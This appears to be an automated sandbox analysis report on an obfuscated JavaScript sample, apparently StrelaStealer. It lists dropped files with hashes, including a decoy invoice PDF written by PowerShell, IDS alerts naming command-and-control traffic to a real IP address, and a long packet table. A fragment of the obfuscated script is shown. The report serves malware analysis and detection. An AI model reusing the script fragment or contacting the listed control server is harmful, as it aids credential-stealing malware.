SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15969), with CRLF line terminators
Entropy (8bit):	4.923980551246383
TrID:
File name:	17266187282427315527.js
File size:	19'484 bytes
MD5:	562afd88ef3b27898d06a1bfbcb65ee3
SHA1:	f92458915b785a437066891eef22a9cb5da8227f
SHA256:	44b3cddf86eca66c3b61a47f710174f7f64f0ba11bd8bc34baf887386a241f42
SHA512:	4f920ff89b332a3339df8a8ff3bdd7e072f1dc301725b60adef811ba28bd983c0047331472e4a401466ad42b9b761eab9c83010f03f6d387d47835a9ebb50677
SSDEEP:	384:YBW0mWhwdR6Fyuwkg9gFbnBdGLm/fwbPS+lIJp+Ouet/8Iy33or6pNiHXG7bQs:HOuet/8Iy33oepNKX+b5
TLSH:	409243D4B801931787E0B3A1A78701D59D8351D65A74CFAB288DF2DACD31F68EBD41B4
File Content Preview:	function doufecdyj(){nojpnus=[1031,3079,5127,4103,2055,3072];var kvhryr=this[bybfe+jgdhjrh+xvyczx+gsjpsczi+txzta+cvqpmejb+alavk+ptflixa](this[efirkar+maizjnll+accpaojej+xvyczx+nckacm+bybfe+ptflixa][xqjnyuksk+xvyczx+txzta+jgdhjrh+ptflixa+txzta+wpagxljlq+us

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T00:09:45.385998+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T00:09:45.385998+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T00:09:47.734454+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 00:09:44.575086117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:44.579992056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:44.580084085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:44.583026886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:44.587841988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.385885954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.385935068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.385993004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.385998011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.386023045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.386076927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.386111021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.386112928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.386153936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.386163950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.386188984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.386225939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.386255980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.386261940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.386312962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.391241074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.391305923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.391362906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.391381979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.391422987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.391474009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.424948931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.424962997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.425009966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.510938883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.510951996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.510962963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.511008024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.511231899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.511249065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.511261940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.511270046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.511275053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.511288881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.511300087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.511311054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.511352062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.512032986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.512044907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.512064934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.512077093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.512078047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.512093067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.512100935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.512106895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.512132883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.512969017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.512989044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.513000965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.513008118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.513012886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.513027906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.513041973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.513078928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.513782978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.513798952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.513833046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.556478977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.556498051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.556510925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.556545973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.599368095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.599414110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.599514008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.635699987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.635724068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.635736942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.635751009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.635765076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.635821104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.635879040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.635896921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.635912895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.635948896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.636070967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.636084080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.636096001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.636106968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.636122942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.636435986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.636498928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.636509895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.636522055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.636564970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.636646986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.636660099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.636672974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.636693001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.636693954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.636708975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.636735916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.636765957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.637447119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.637459993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.637471914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.637515068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.637542963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.637554884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.637567043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.637577057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.637578011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.637590885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.637609959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.637635946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.638370991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.638420105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.638432026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.638458967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.638470888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.638482094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.638494968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.638510942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.638523102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.638535976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.638537884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.638582945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.639354944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.639375925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.639389038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.639413118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.639444113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.639455080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.639466047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.639478922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.640444994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.644790888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.644814014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.644851923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.644893885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.644915104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.644927025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.644947052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.687566996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.687714100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.687752008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.687769890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.687782049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.687793016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.687819958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.724132061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.724148989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.724334955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.760585070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.760602951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.760613918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.760628939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.760672092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.760684013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.760705948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.760742903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.761117935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.761234999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.761270046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.761286020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.761296988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.761328936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.761384010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.761394978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.761405945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.761419058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.761436939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.761457920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.761687994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.761701107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.761713028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.761724949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.761748075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.761765957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.761775970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.761778116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.761812925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.762263060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.762307882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.762320042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.762331963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.762346029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.762358904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.762406111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.762418032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.762429953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.762442112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.762459993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.762485027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.763387918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.763401985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.763413906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.763425112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.763437033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.763438940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.763448954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.763454914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.763463974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.763474941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.763484001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.763541937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.764226913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.764247894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.764267921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.764281034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.764292002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.764297962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.764309883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.764317036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.764345884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.764350891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.764363050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.764389992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.765248060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.765259981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.765271902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.765321016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.765342951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.765362978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.765374899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.765387058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.765387058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.765399933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.765412092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.765440941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.766207933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.766230106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.766241074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.766273022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.766285896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.766294956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.766308069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.766379118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.766391039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.766403913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.766422987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.766453028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.767151117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.767163038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.767183065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.767194033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.767198086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.767220974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.767631054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.767673016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.767683983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.767694950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.767710924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.767712116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.767729998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.767740965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.767741919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.767755032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.767764091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.767788887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.768598080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.768650055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.768661976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.768676043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.768687010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.768713951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.773781061 CET	49704	80	192.168.2.5	193.143.1.205
